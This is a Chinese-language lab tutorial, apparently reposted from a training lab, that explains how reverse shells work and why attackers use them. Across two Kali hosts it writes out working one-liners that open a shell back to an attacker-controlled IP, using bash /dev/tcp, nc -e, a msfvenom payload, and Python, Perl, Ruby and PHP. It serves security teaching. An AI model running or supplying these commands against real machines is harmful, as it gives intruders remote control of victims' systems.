反彈shell


1.   關於反彈shell

就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標准shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。

2.   反彈shell的原因

通常用於被控端因防火牆受限、權限不足、端口被占用等情形

假設我們攻擊了一台機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面,web服務,ssh,telnet等等,都是正向連接。那么什么情況下正向連接不太好用了呢?

      1)某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。

      2)它的ip會動態改變,你不能持續控制。

      3)由於防火牆等限制,對方機器只能發送請求,不能接收請求。

      4)對於病毒,木馬,受害者什么時候能中招,對方的網絡環境是什么樣的,什么時候開關機,都是未知,所以建立一個服務端,讓惡意程序主動連接,才是上策。

      那么反彈就很好理解了,攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。

實驗目的

通過該實驗了解反彈shell的原理及各種方式的實現。

實驗環境

Kali兩台

hostA:10.1.1.100

hostB:10.1.1.101

實驗步驟一

反彈shell是外網滲透的最后一步,也是內網滲透的第一步,本次實驗不針對具體的某次滲透過程,重點在於針對反彈shell常見下的功能實現以及原理理解。

      先來看兩台機器ip

      攻擊機(稱主機A)

      

 

      靶機(稱主機B)

      

 

      bash直接反彈

      在主機A使用nc監聽 ,命令:nc -lvvp 123

      

 

      在主機B上使用bash直接反彈,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&1

      

 

      此時主機A收到shell了

      

 

      這種方式是完全從原理出發,而且涉及到linux的一些本質知識點,所以展開來具體說一下。

      關鍵點在主機B上執行的那一句話。

      1. Bash –I  即產生一個bash交互環境

      2. >&      

         1)當>&后面接文件時,表示將標准輸出和標准錯誤輸出重定向至文件

         2)當>&后面接文件描述符時,表示將前面的文件描述符重定向至后面的文件描述符

      3. /dev/tcp/10.1.1.100/123  讓主機B與主機A(10.1.1.100)進行tcp連接,端口為123(注:linux下所有內容都以文件形式組織存在,所以看到/dev/tcp不用感到奇怪,它是Linux中的一個特殊設備,打開這個文件就相當於進行了一個socket調用,建立一個socket連接)

      >& 后面接 /dev/tcp/ip/port,根據3的注釋和2的注釋1)部分可知,意思為將標准輸出和標准錯誤輸出重定向到這個文件,重定向到socket連接的遠程主機A上,此時如果主機A正在監聽相應的端口,就會收到主機B的bash的標准輸出和標准錯誤輸出

      4. 0>&1 將標准輸入重定向到標准輸出,而標准輸出在之前已經重定向到主機A了,添加這一部分是因為如果沒有這一部分,在主機A上只能接收輸出,而無法輸入,或者說無法交互,添加上這一部分后,在主機A看來,就相當於拿到了主機B的shell

      (注:0 - stdin 代表標准輸入,使用<或<<

          1 - stdout 代表標准輸出,使用>或>>

          2 - stderr 代表標准錯誤輸出,使用2>或2>>)

      根據分析我們可以修改一下這句話,看看是否如我們分析的這樣

      1)將0>&1修改為0>&2

      同樣現在主機A開啟監聽,命令:nc -lvvp 123

      

 

      主機B修改后執行,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&2

      

 

      主機A同樣的效果

      

 

      2)不添加 0>&2

      主機A連接,命令:nc -lvvp 123

      

 

      主機B修改后運行,命令:bash -i >& /dev/tcp/10.1.1.100/123

      

 

      主機A同樣建立了連接,但是輸入命令是沒有效果的

      

 

      在主機B中輸入命令時,主機B沒有回顯,回顯出現在主機A上,命令執行后的回顯也是在主機A上

      

 

      這正好說明了缺失第4部分的內容時,主機A只能標准輸出和標准錯誤輸出,沒有標准輸入,這一部分的知識點非常重要,好好理解。

實驗步驟二

利用nc

      主機A開啟監聽,命令:nc -lvvp 1234

      

 

      主機B反彈一句話,命令:nc 10.1.1.100 1234 -t -e /bin/bash

      

 

      命令的意思是:使用nc命令直接建立一個tcp 1234 的會話連接,然后將本地的bash通過這個會話連接反彈給目標主機

 

      此時反彈成功

      

利用msfvenom

      在主機A上使用msfvenom –l進行搜索相關payload

      

 

      結合關鍵字進行過濾,優化搜索結果

      本次要用到的是反彈shell相關的payload,所以關鍵字為'cmd/unix/reverse',配合grep進行匹配即可

      則輸入如下命令:msfvenom -l payloads | grep 'cmd/unix/reverse'

      

 

      從結果中可以看到有許多實現的方式,包括lua、nodej、perl等,為什么會有這么多方式呢?這是為了適應不同靶機的需求,可能目標靶機上只有perl的執行環境,那么就可以使用perl實現的反彈shell的payload,如果靶機上只有python的環境,那么就使用python實現的payload,此處以python為例。選定payload后,設置后本機的ip和監聽的端口

      命令:msfvenom -p cmd/unix/reverse_python lhost=10.1.1.100 lport=1234

      

 

      然后主機A上啟動nc進行監聽

      

 

      切換到主機B,在終端輸入msfvenom給出的payload

      

 

      回車執行,即可在主機A上收到反彈的shell

      

 

      事實上,這部分的payload解碼后就是python的一段腳本

      

 

      具體語言的反彈shell功能的實現會在下一部分提及

實驗步驟三

具體語言實現

      先看python的

      還是現在主機A上監聽,命令nc -lvvp 123

      

 

      然后主機B上執行python,命令python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.1.100',123)) ;os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"

      

 

      此時在主機A上就收到反彈shell了

      

 

      我們分析下這段腳本的內容

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.105',123))   建立socket連接

      os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); 使用了os模塊的dup2函數和socket模塊的fileno函數

      fileno函數:返回套接字的文件描述符fd,如果從shell中運行一個進程,默認會有3個文件描述符存在(0、1、2), 0與進程的標准輸入相關聯,1與進程的標准輸出相關聯,2與進程的標准錯誤輸出相關聯。

      Dup2函數:dup2傳入兩個文件描述符,f1和f2(f1是必須存在的),如果f2存在,就關閉f2,然后將f1代表的那個文件強行復制給f2,f2這個文件描述符不會發生變化,但是fd2指向的文件就變成了f1指向的文件。這個函數最大的作用是重定向

      這句的代碼的作用就是將fd2指向s.fileno(),而fileno()返回的是建立socket連接返回的文件描述符fd,也就是將將標准輸入、標准輸出、標准錯誤輸出重定向到遠程

      p=subprocess.call(['/bin/bash','-i'])  使用subprocess在本地開啟子進程,同時傳入“i“使得bash以交互模式啟動

      經過以上代碼的功能整合,在主機A就相當於接收到了主機B的shell

      其他語言的實現也是同樣的道理,關鍵的點都在於建立socket連接以及之后的交互實現

 

1)perl語言的

      perl -e 'use Socket;$i="192.168.0.105";$p=123;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

      

        

 

2)ruby語言的

      ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.105","123");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

      

        

 

3)php語言

      最簡單的是利用php的exec函數直接執行第一部分的那條bash反彈的命令,不過更常見的是這條命令

php -r '$sock=fsockopen("192.168.0.5",123);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

      3代表fsockopen函數建立socket連接后返回的文件描述符,在exec函數中進行重定向,其中的0,1,2分別是前面提到的標准輸入、標准輸出、標准錯誤輸出。原理與前面分析的一致。

 

      

        

 
 
參考自合天實驗室
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM